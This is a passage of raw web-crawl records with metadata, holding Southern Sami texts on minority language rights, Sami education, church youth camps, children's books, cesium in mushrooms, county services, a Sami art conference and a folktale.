unnebelåhkoegïelem nuhtjedh edtjebe sjïere vuekine evtiedidh.\nMijjieh edtjebe aaj dejtie nasjonelle unnebelåhkojde nuepieh tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie guhtide duehtieh jïh sjïehteleslaakan unnebelåhkoej saadthalmetjigujmie dagkeri gyhtjelassine råårestalledh.\nLaake nasjonelle unnebelåhkoej bïjre faamosne abpe Sveerjesne jïh dan sisvege lea:\nEdtja unnebelåhkoegïelide vaarjelidh jïh evtiedidh\nLeeneståvroe Stuehkesne jïh Saemiedigkie dïedtem ektesne utnieh ektiedidh jïh vaaksjodh guktie Sveerjen unnebelåhkoepolitihke tjïrrehtidh laanten tjïeltine. Saemiedigkie dïedtem åtna saemide jïh Leeneståvroe Stuehkesne dïedtem åtna judaridie, romeridie, sveerjesåevmieladtjide jïh torneladtjide.\nLaake nasjonelle unnebelåhkoej bïjre faamosne abpe Sveerjesne jïh jeahta unnebelåhkoegïelide edtja vaarjelidh jïh evtiedidh, dah nasjonelle unnebelåhkoeh edtjieh maehtedh dej kultuvrem gorredidh jïh evtiedidh jïh reeremeåejvieladtjh dïedtem utnieh unnebelåhkoej reaktah bïevnedh jïh tsevtsemem vedtedh jïjtje gyhtjelasside råårestalledh.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.lansstyrelsen.se\/orebro\/other-languages\/minoritetssprak\/sydsamiska.html","date":"2018-07-17T04:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589557.39\/warc\/CC-MAIN-20180717031623-20180717051623-00586.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":207,"character_repetition_ratio":0.138,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GÏELINE ÅAHPENIDH 5. Lohketæjjan bïhkedimmie. Åarjelsaemien voestesgïeline\nDaate bïhkedimmie lea Gïeline åahpenidh 5 lohkemegærjese jïh barkoegærjese. Bïhkedimmien golme boelhkh. Voestes boelhkesne lohkeme-, tjaeleme- jïh soptsestimmie-strategiji bïjre. Mubpie boelhkesne vuesiehtimmieh jïh raerieh guktie lohkemegærjam jïh barkoegærjam nåhtadidh. Minngemes boelhkesne lissie-paehperh gusnie vielie laavenjassh jïh ovmessie sjeemahh guktie learohki barkoem vuarjasjidh.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/solumbokvennen.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-5-%EF%BB%BFlohket%C3%A6jjan-b%C3%AFhkedimmie-%C3%A5arjelsaemien-voestesg%C3%AFeline","date":"2018-07-21T07:43:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592420.72\/warc\/CC-MAIN-20180721071046-20180721091046-00631.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":56,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Viermievierhkien ulmie edtja saemienlïerehtimmiem freemmedh jïh evtiedidh jïh lïerehtimmiem sjïehtesjidh dejtie saemien learoesoejkesjidie jïh learoesoejkesjh saemien gïelese mah fïerhnen tïjjen dåårjeldahkesne.\nLohkehtæjjah jïh skuvleåvtehkh mah saemienlïerehtimmine berkieh maehtieh viermievierhkesne meatan årrodh. Institusjovnh jïh jeatjah mah saemienlïerehtimmine berkieh aaj maehtieh meatan årrodh. Ij maam daarpesjh maeksedh jis meatan årrodh, læjhkan dah mah meatan tjuerieh viermievierhkien tjaelijesæjjan tjaalasovvedh.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/netsam.org\/om-nettverket\/viermievierhkie-bijre\/","date":"2018-07-20T06:40:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591543.63\/warc\/CC-MAIN-20180720061052-20180720081052-00247.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":56,"character_repetition_ratio":0.119,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jerkie aalka duarstan, njoktjen 23. biejjien jïh vaasa aejlegen, njoktjen 26.b. 2016 raajan. Daan jaepien jerkie lea Borgen jerkiesijjesne Storfjorden tjïeltesne Tromsesne. 18 noerh åålmegijstie abpe laantesne båetieh, Åarjel-Varangeren luvhtie noerhtene Stavangeren gåajkoe åarjene.\nSkyllijemaanah edtjieh meatan årrodh gyrhkesjimmiem darjodh jïh meatan årrodh darjoeminie ålkone jïh gåetesne. Mijjieh sjïehteladteme ihke noerh edtjieh maehtedh dejtie golme saemien gïelide, åarjelsaemien, julevsaemien jïh noerhtesaemien abpe jerkesne nuhtjedh, lissine nöörjen. Mijjieh darjomh jïh eejehtimmiem sjïehteladteme guktie gaajhkesh edtjieh damtedh dah bieline sjidtieh dehtie saemiengïeleldh jaahkoeektievoeteste abpe jerkesne.\nSaemien gærhkoeraerie, ovmessie åålmegh gusnie saemieh årroeh jïh doh golme noerhtemes bïspedajvh ektesne Saemien skyllijemaanajerkiem soejkesjieh jïh tjïrrehtieh. Ulmie lea saemien skyllijemaanajerkiem sjugniedidh noeride abpe laanteste. Saemien gærhkoeraerie lea gellie jaepieh saemien noerehïeljh öörnedamme kuvsjigujmie noere åvtehkidie mah leah vihkeles meatanbarkijh skyllijemaanajerkesne.\nGovlehtallije:\nTove-Lill Labahå Magga\nRaeriestæjja jaahkoeööhpehtimmie\nSaemien gærhkoeraerie\nE-påaste: email@example.com\nTlf: 23081233","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/kirken.no\/nn-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/adasa---nyheter\/saemien-skyllijemaanajerkie-2017\/","date":"2018-07-22T06:49:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676593051.79\/warc\/CC-MAIN-20180722061341-20180722081341-00063.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":133,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eelkin dejnie prosjeektine «Nord Trøndelag leser» fylhkedigkesne, gusnie Nøørjen maanah edtjin buerbe sjidtedh jih gærjah lohkedh. Dellie aaj nænnoestin, edtjin maam åarjelsaemien maanide darjodh.\nLuhkie vijhte vielie åarjelsaemien maanagærjah.\nDaan jaepien Noerhte Trøøndelaage fylhken gærjagåetie, govhte orre maanagærjah åarjelsaemien gïelese jarkoestamme jih jienebh daan tjaktjen båetieh. Gærjagåetien raeriestæjja Morten Olsen Haugen geerjene.\n– Manne tjoerem dejtie mov jarkoestæjjide girmedh. Dah joekoen barkoem darjoeh! Luste deej ektine barkedh! Dah barkoeminie jih jarkoesteminie jih retnoe luhkievijhte vielie gærjah riejries, Olsen Haugene jeahta.\nEah leah man jijnjh gærjah åarjelsaemien gïelesne gååvnesemme.\n– Orreme nemhtie, saemien maanah tjoereme dah seamma gærjide gellien aejkien lohkeme, daelie håhkoem åtnam, buerebe sjædta Haugene jeahta.\nGøøkte orre gærjah Tjaktjen Tjåanghkosne vuesiehtieh.\nTjaktjen Tjåanghkoe mij daan våhkan,Snåasesne, skiereden 24-26.b. Edtjieh daejtie orre gærjide vuesiehtidh. Prinsessa jih Snurke, mejtie dihte Snurke maahta prinsessine sjïdtedh,vuj? jih Krokodilla mij idtji tjaetsiem lyjhkh.\nDaejtie gærjide edtjieh skiereden 25.b Åarjel Saemiej skuvlesne vuesiehtidh.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/vihkeles-aarjelsaemien-gielem-gaerjah-tjirrh-vaarjelidh-1.12568140","date":"2018-07-16T13:26:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589270.3\/warc\/CC-MAIN-20180716115452-20180716135452-00271.warc.gz","language":"sma","language_score":0.9999908209,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999908208847046}","num_words":149,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhte Trøøndelaage åadtjoeji jijnjem cesiumem\/becquerelle eatnemissnie daan Tjernobyl ov-læhkoen mænngan. Fylhkesne dellie Lijre jeenemes cesiumem åadtjoeji. Ov-læhkoen mænngan dellie elkin daam cesiumem goebperisnie mïetestidh. Daelie goerehtimmien tjïrrh, jaepien 2013-raajeste, vueptiestemme ennje jolle cesiume muvhth daejstie goebpere såarhtijne. Daaroen gïelesne \" bleik piggsopp\" åtna 7.880 bq\/kg åvteste.\n–Ij leah dihte rovnehke jeahta dihte åejvie John Bjarne Falch, Mattilsyne Trøøndelaage, Møre jih Romsdal daan plaerese TrønderAvisa.www.t-a.no\/nyheter\/article10059048.ece#.U_29S_mqmb8\nKantarellisnie vaenemes cesiume.\nDihte bievnede, jis jijnje cesiume eatnemissnie dellie dah goebperh varkie daam cesiumem njemmieh jih daan åvteste jijnje cesiume goebperisnie sjædta.\nDihte kantarelle åtna vaenemes cesiumem -707 bq\/kg.\nMattilsynet jeahta: Tjoerh våaroes årrodh jis jijnjem bovtsen bearkoem, goebperh, vaerien guelie jih muerjieh byøpmedh. Ij edtjh gieh jienebe, 20 000 bq\/kg radioaktive cesiume jaepesne byøpmedidh.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/jolle-cesiume-1.11900805","date":"2018-07-22T22:44:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676594018.55\/warc\/CC-MAIN-20180722213610-20180722233610-00407.warc.gz","language":"sma","language_score":0.9998019338,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998019337654114}","num_words":115,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jielemeevtiedimmie\nFylhkenålma edtja jielemeevtiedæmman jïh innovasjovnese sjïehteladtedh, jeatjah regijovnale jïh voenges aktöörigujmie ektine. Edtja regijovnale jïh voenges aevhkieh jïh nuepieh gorredidh jïh evtiedidh, guktie mijjieh dam ekonomeles våaromem gorredibie båetijen aajkan. Fylhkenålma edtja aaj viehkiehtidh aktem hijven ektiebarkoem sjugniedidh laanteburrien jïh jeatjah suerkiej gaskem.\nJïjnjh soejkesjh jïh råajvarimmieh edtjieh laanteburriem evtiedidh\nLaavenjostoe fylhkensoejkesji bïjre, jielemesoejkesjh, Inn på tunet-råajvarimmmieh, fealadimmiesoejkesjh, evtiedimmie beapmoedorjemasseste jïh bioenergijeprogramme leah jarngesne daennie barkosne. Fylhkenålman lea dïedte evtiedidh jïh tjïrrehtidh laanteburrien regijovnale jielemestrategijem.\nBU-vierhtieh edtjieh jielemeevtiedimmiem eadtjoestidh\nFylhkenålma vierhtieh voeneevtiedæmman reerie (daaroen BU-vierhtieh) juktie råajvarimmieh salkehtidh jïh sjïehteladtedh. Edtja vierhtide nåhtadidh juktie jielemeevtiedimmiem eadtjoestidh voenine jïh laanteburresne, mestie dïeneste sjædta. Fylhkenålman edtja aaj tsevtsiedæjjine årrodh Innovasjovne Nöörjen Voengesbeapmoeprogrammese (ekonomeles tsavshvierhtieh maahtoen, såalhtjebïgkemen jïh viermien sisnjeli).\nInnovasjovne Nöörje dam bieliem BU-vierhtijste reerie, mij lea sïelti vööste. Fylhkentjïelte edtja BU-vierhtide reeredh dåårrehtæmman, mïrrestallemasse, minngieööhpehtæmman jïh maahtoelutnjemasse laanteburrie- jïh beapmoesuerkesne.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Laanteburrie-jih-beapmoe\/Jielemeevtiedimmie\/","date":"2018-07-17T07:46:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589618.52\/warc\/CC-MAIN-20180717070721-20180717090721-00407.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":140,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aehpiejarnge\nAkte aehpiejarnge lea akte institusjovne mij almetjh dååste mah vædtsoesvoetem dååjrieh lïhke ektiedimmine.\nAehpiejarngelaake\nTjïelte edtja hoksedh akte faalenasse aehpiejarngen bïjre gååvnese gaajhkesidie mah dam daarpesjieh. Tjïelte edtja aaj hoksedh aehpiejarnge krïevenasside illie aehpiejarngelaakesne. Åssjele daejnie laakine lea gorredidh akte hijven faalenasse gååvnese nyjsenæjjide, kaarride jïh maanide mah vædtsoesvoetem, jallh aajhtoem vædtsoesvoeten bïjre naakenistie dååjrieh mah leah dej lïhke.\n- Akte aehpiejarnge lea akte faalenasse akten annjebodts årromesijjien bïjre. Edtja namhtah årrodh, gaahpode abpe dygnen jïh abpe jaepien gååvnesidh.\n- Faalenasse edtja sjïehteladteme årrodh fïereguhten utniejasse.\n- Aehpiejarnge jïh jeatjah byögkeles dïenesjh edtjieh iktedamme årrodh, jïh utniejassese aktem ållesth dåarjedimmiem vedtedh.\n- Dah mah aehpiejarngesne orreme, edtjieh faalenassem åadtjodh vielie dåarjedimmien bïjre mænngan dah destie juhteme.\nAehpiejarngelaake tjïeltide stillie gïehtjedidh ihke aehpiejarnge jïh dïhte barkoe maam aehpiejarngefaaleneasse feerhmie, lea sïejhme njoelkedassi mietie.\nFylhkenålman dïedte\nFylhkenålma edtja vaaksjodh tjïelte sijjen dïedth illie nænnoestimmiej mietie aehpiejarngelaakesne. Fylhkenålman vaaksjome lea tjïelten vööste, ij dan aktegs aehpiejarngen vööste.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Healsoe-jih-hokse\/Aehpiejarnge\/","date":"2018-07-21T13:42:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592579.77\/warc\/CC-MAIN-20180721125703-20180721145703-00367.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":151,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Martha Elise Jåma reakasovvi båatsoe fuelhkesne 13.6 1926, Hoelmesne, Jovnevaerien sijtesne, Sveerjesne. Dihte ïedtjeles nyjsenäjja mij sov ietnien gïelem jih saemien vuekijde minngie -geatjan gaerhtieji. Dihte lij tjiehpies vytnesjæjja mij jijnjem vytnesji jih dihte gellie jaepieh lohkedæjjine Åarjel saemiej skuvlesne barki jih saemien gïelem jih vætnoen bijre øøhpehti.\nDihte båatsosne jieleji, Låarten sijtese pruvri. Tuhtji båatsoe politijhke vihkeles jih ïedtjije båatsoe politijhkem evtiedidh, gellie jaepieh lihtseginie Nøørjen båatsoe saemiej rihkesiebrien (NBR) en ståvrosne, dihte aaj Samerettsutvalgen voestes ståvrose veeljesovvi.\nSaemien Sijte\nMartha Jåma iedtjeles laakan Saemien Sijten åvteste barki, gåetiem buektiehtidh jih mænngan Saemien Sijten barkoem evtiedidh. Marthese lij, Saemien sijte jih museume tjïehtele joekoen vihkeles vaarjelidh jih evtiedidh. Dihte lij Saemien sijten ståvroeåejvie gaskoeh 1984-86.\nGånkan dieneste medalje gullieste.\nJåma jijnjh vaajesh saemien gïelesne tjeeli , ov-messie gærjine jih eadtjohke lij jih daejtie kultuvre mojhtesidie vïhtesjidh. Saemien gïele lij sov vaajmoen giele jih sov eadtjohks barkoen åvteste åadtjoeji Martha Jåma, Gånkan dieneste medalje gullieste jaepien 2004, saemien gïele jih kultuvre vaarjelimmien åvteste.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/iedtjije-saemien-nyjsenajja-sealadamme-1.12747432","date":"2018-07-17T21:52:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589902.8\/warc\/CC-MAIN-20180717203423-20180717223423-00023.warc.gz","language":"sma","language_score":0.9999321699,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999321699142456}","num_words":158,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien sikne\nMah dïhte saemien lea jååhkesjamme goh akte bielie dehtie nasjonaale soptsesistie? Gubpede dïhte nænnoes politihkeles eadtjohkevoete saemien tjeahposne båata? Kultuvreraerie jïh Saemiedigkie vihkeles gyhtjelassh biejjieöörnegasse biejieh jaepiekonferansesne 2017. Gyhtjelassh ïedtjem utnieh dovne nöörjen jïh saemien tjeahpoe- jïh kultuvreaktööride!\n2017 akte mïerhkejaepie saemien ektiedimmesne. Daelie 100 jaepieh mænngan dïhte voestes saemien rijhketjåanghkoe lij Tråantesne, 40 jaepieh Alta-aksjovnen mænngan jïh 20 jaepieh mænngan Gånka Harald daaroedehtemepolitihkem gaatelassji mij saemiej vööste orreme. Jïjnje lea sjugniehtovveme daej heannadimmiej gaavhtan. Saemiedigkie tseegkesovvi 1989, jïh jienebh saemien institusjovnh leah bæjjese bigkeme. Daan gïjren Stoerredigkie nænnoesti aktem kommisjovnem tseegkedh juktie saemiej jïh kveeni histovrijem kraanskodh.\nGaskenasjonaale suerkesne saemien jïh aalkoealmetji tjeahpoen mietie gihtjesåvva. Men mennie mieresne saemien symbovlh vååjnoeh jïh govloeh mijjen nasjonaale kultuvresoptsesisnie? Nöörjen kultuvreaktöörh nuekies hijven daajroem saemien tjeahpoen, histovrijen jïh rïektesvoeten bïjre utnieh – jïh dah hov daajroem utnieh daate akte iemie bielie mijjen ektie kultuvreste? Guktie vaarjelimmiem gorredibie destie mij lea saemien dovne nasjonaale ektiedimmesne jïh aktene saemien dåeriesnasjonaale ektiedimmesne? Daate teema digkiedimmiem rïhpeste dej aamhtesi bïjre goh jïjtjeraarehkereakta, vaarjelimmie, isolasjovne, inkluderadimmie, daajroe jïh faamoe.\nGellie noere saemien tjiehpiedæjjah tjeahpoem nuhtjieh juktie sijjen aajhpehtsvoetem vuesiehtidh jïh jïjtsh rïektesvoetem våajnoes darjodh. Mijjieh tihtelem aktede vierhkeste lööneme dehtie saemien tjiehpiedæjjeste Carola Grahn jïh saemien siknem biejjieöörnegasse bïejeme. Bijjiebaakoe tjïerteste guktie dïhte sjïere gæmhpoe lea akte vihkeles bielie dehtie saemien tjeahposte. Mij dïhte lïhke ektiedimmie tjeahpoen jïh politihken gaskem sæjhta jiehtedh? Sikne aaj dej ektie aarvoej bïjre mah leah behtjiedimmien nuelesne abpe veartenisnie daan biejjien – eatnemevierhtieh, aerpievuekieh, soejmetjevoete, voejkenevoete – aarvoeh mej bïjre aalkoealmetjh sjïere daajroem jïh gorredimmievuekieh utnieh.\nSikne maahta vååjnesasse båetedh dovne reegkesligke jïh vielie sjaevehts. Sikne maahta nuepiem vedtedh konfrontasjovnese, digkiedidh, reejnedh jïh orrestidh. Tjelmiejgujmie båetijen aajkan mijjieh saemien tjeahpoem jïh kultuvrem biejjieöörnegasse bïejebe.\nKultuvreraerien jaepiekonferanse 2017\nÖörnesåvva laavenjostosne Saemiedigkine\nDuarstan gålkoen 9.b., sijjesne Det Norske Teatret\nVielie bïevnesh: kulturradet.no\/arskonferansen-2017\nGÅLKOEN 9.B\nGusnie: Det Norske Teaterisnie, Oslo","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.kulturradet.no\/arskonferansen-2017\/vis-sorsamisk\/-\/introtekst-arskonferansen-2017-samisk-vrede-sorsamisk","date":"2018-07-17T21:17:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589902.8\/warc\/CC-MAIN-20180717203423-20180717223423-00594.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":37,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":297,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Jaavoe, manne maahtam saemiestidh. Laara guarkeme satne tjuara saemiestidh. – Tjoerem amma doestedh aelkedh saemiestidh. Jis im manne dam darjoeh, guktie maahtam veanhtadidh gïele edtja jieledh guhkiebasse?\nLars Peder Dunfjeld (26) gohtjesåvva ajve Laara. Daate lea akte dejstie jielije åarjelsaemien aerpievuekijste; saemien nommh åtnasuvvieh. Akte jeatjah aerpievuekie lea gïele, mij aaj jielieminie, men lea UNESCOn læstosne itjmies håvhtadihks gïeligujmie. – Mijjeste dan vaenie, jïh mijjieh dan bårrode årrobe, guktie daerpies gaajhkesh dovnesh aktem lissiebarkoem darjoeh jis gïele edtja aktem båetije aejkiem utnedh, Laara jeahta.\nJealajimmie vierhtieh kreava\nÅarjelsaemien dajvesne eah skraejrieh fååtesh juktie gïelem jealajehtedh. Gïelejarngh, kultuvrejarngh, saemieskuvlh jïh ovmessie prosjekth. – Saemiedigkie jïh staate tjuerieh mijjem dåarjoehtidh jis mijjieh edtjebe aktem hillem utnedh. Jalhts mijjieh jïjtje aktem vihkeles barkoem darjobe gosse gïelem åtnose vaeltebe, dle beetnegh daerpies jis edtjebe buektiehtidh tjïrrehtidh dejtie ovmessie prosjektide mejtie daarpesjibie. – Manne sïjhtem beetnehdåarjoem gorredidh gaajhkide skraejride mah gååvnesieh, jïh vïenhtem dåarjoeöörnegh tjuerieh gååvnesidh mah sagke jieniebidie skraejride skreejrehtieh, Laara veanhta.\nLaara lohkehtæjjine saemien gïelesne barkeme minngemes jaepien, jïh vuajneme guktie saemienööhpehtimmie akte dåårrese sjædta dejtie jeatjah tæjmojde. – Ij leah nuekies sjïehteladteme gosse jeatjah ööhpehtimmiem dassa. Learohkh eah sïjhth saemien utnedh jis tjuerieh saemien utnedh vïtnedimmietæjmojne, Laara jeahta jïh minngemosth jeahta:- Tjoerebe dam öörnegem jarkelidh guktie dïhte aarvoem mijjen gïeleste jïh kultuvreste tjïelkeste.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/nsr.no\/blog\/2013\/08\/19\/laara-dunfjeld-giele-tjuara-atnasovvedh\/?lang=sma","date":"2018-08-14T08:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221208750.9\/warc\/CC-MAIN-20180814081835-20180814101835-00133.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":64,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":205,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fasseldimmiestatstihke maam registerijstie åtna 4.njealjehtsjaepeste 2012 vuesehte fasseldimmie SDJ-dajvesne joekehtslaakan juakasåvva goh dïhte sïejhme fasseldimmie laantesne. Daesnie libie pryöveme sjïere væhtah SDJ-dajvesne vuesiehtidh viehkine fasseldimmiem joekedidh jielemen, kaarri jïh nyjsenæjjaj, aalteren, ööhpehtimmien jïh jeatjah ovmessie væhtaj mietie. Åejvievæhtah vuesiehtieh fasseldimmieprosente SDJ-dajvesne lea vueliehkåbpoe goh laanten gaskemedtie, men jeerehte. Dïhte lij laanten gaskemedtien bijjelen båarasåbpoe almetjidie SDJ-dajvesne, jïh sagki vueliehkåbpoe dejtie nuerebe årrojedåehkide. Jienebh almetjh SDJ-dajvesne mah aalkoejielieminie barkin, jïh låhkoe jollebe ööhpehtimmine lij vueliehkåbpoe goh laanten gaskemedtie. Låhkoe fasseldamme almetjijstie jollebe ööhpehtimmine, lij medtie guektiengïerth dan stoerre nyjsenæjjaj luvnie goh kaarri luvnie SDJ-dajvesne.\nJoekedamme dejnie ovmessie dajvine Nöörjen sisnjelen Saltfjellet noerhtelen, dellie vuajna stoerre jeeredh lin dejnie ovmessie variabelinie, jïh SDJ-bieliedajvh eah seamma aktelaaketje tendensh vuesehth.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/samilogutmuitalit.no\/en\/node\/4009","date":"2018-08-20T02:49:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221215523.56\/warc\/CC-MAIN-20180820023141-20180820043141-00429.warc.gz","language":"sma","language_score":0.9998927116,"language_script":"Latn","minhash_cluster_size":160,"top_langs":"{\"sma_Latn_score\": 0.9998927116394043}","num_words":115,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ikth såemies jijjen sjuevnjeden akte alma vaadtsije dållem løønedh. Gåeteste gåatan vaadtsa, oksese beenghkie jih jeahta:\n– Viehkiehtidie mannem. Mov gåmma lea maanam reakadahteme, manne tjoeverem dållem biejedh guktie eagan gåalolh.\nMohte jijjegåårtese lij, jih gaajhkesh lin åerieminie. Idtji gie altemse vaestedh.\nDihte alma vaadtsa jih vaadtsa.\nMinngemes dle vuajna juavsa guhkene dubpene. Dan mietie vaadtsa, jih mej varki dellie dan dållen gåajkoe båata mestie joevsi. Veelkes sirvijste dåehkie lovvesjeminie dan dållen bijre jih båeries ryøjnesjæjja tjahkan geehteminie.\nGoh dihte alma dej sirvi gåajkoe båata, dellie vuajna golme stoerre bienjh guarjan dan ryøjnesjæjjan juelkiebealesne. Dah golme bienjh fehkiehtieh goh dihte alma båata. Vååjnoeh sijhtieh håhtajidh, mohte ij mij govlh. Dihte alma vuajna guktie dej bienji goelkh rudtji mietie tsøøgkegieh, baenieh vååjnoeh njeetsieh jih dellie båetieh njøørken. Dabta guktie akte altese njietsegasse haavreste, mubpie altese gietese jih gåalmede jis tjeapoehkasse haavreste. Mohte dej bienji baenieb goh edtjin enne dååjrh gænnah jih dihte alma idtji guktie gannh arhkenh.\nDellie dihte alma sæjhta vaedtsedh dan dållen gåajkoe, viedtjedh maam galki. Dah sirvh jis dan tjåenghkesne lovvesjeminie guktie ij enne baahtsh vaedtsedh. Die amma dalteste akten sirven rudtjen nille jih nimhtie daltehte dej sirvi rudtji mietie dan dållen gåajkoe, idtji enne akte gænnah dejstie sirvijste fahkah jallh svihtjesth.\nDihte reajnoemaennie dellie bæjjese vijlele. Dihte lij krænkoeh båeries alma gie gaajhkesidie lij måeresne. Jih goh dam ammes almam vuajnije, dellie bæksa dam jijtse guhkies saejtieklaahkam jih sleevhkie altese vøøste. Dihte klaahka dan alman vøøste vualka, mohte dasth goh edtja dievviedidh dle svitnjeste jih baalte vualka. Gåhkese don deavese haajpeni.\nDellie dihte alma dan reajnoemaennien gåajkoe vaadtsa.\n– Viehkehth amma mannem. Løønesth amma munnjien ohtje dålletjem, mov gåmma lea maanam reakadahteme jih manne tjoeverem dållem biejedh guktie tjædtjetje-guaktah eagan gåalolh.\nRyøjnesjæjja lij maaje sijhteminie nyøjhkedh. Mohte goh mojhtele guktie altese klaahka idtji sijhth dievviedidh, dellie amma alvehgådti jih idtji doesth nyøjhkedh.\n– Vaeltieh an-m-ia dan jijnjem maam daarpesjh, – jeahta.\nDålle jis lij joe dan mearan jamhkeme, ij lin vielie naan moeren jallh åeksien nuvhlieh aajmene, jællan sjijle-håevkie. Jih dan ammes alman ij lih mij mesnie meehti sjijlh guedtedh.\nGoh ryøjnesjæjja dam vøøjni, dellie ikth vielie jeahta:\n– Vaeltieh dan jijnjem maam daarpesjh.\nJih feejjen lij, juhkoe dan alman ij lih mij mesnie dållem guedtedh.\nDihte alma jis krøøvvedi, gietigujmie sjijlh govni sistie tjøønghki, – jijtse skopmehken sijse bertiej. Idtjin dah sjijlh altese gieth jih idtjin altese skopmehkem snjierpedh, jih dihte alma vøølki guedtien dejtie gob godterh jallh gierkieh.\nDie 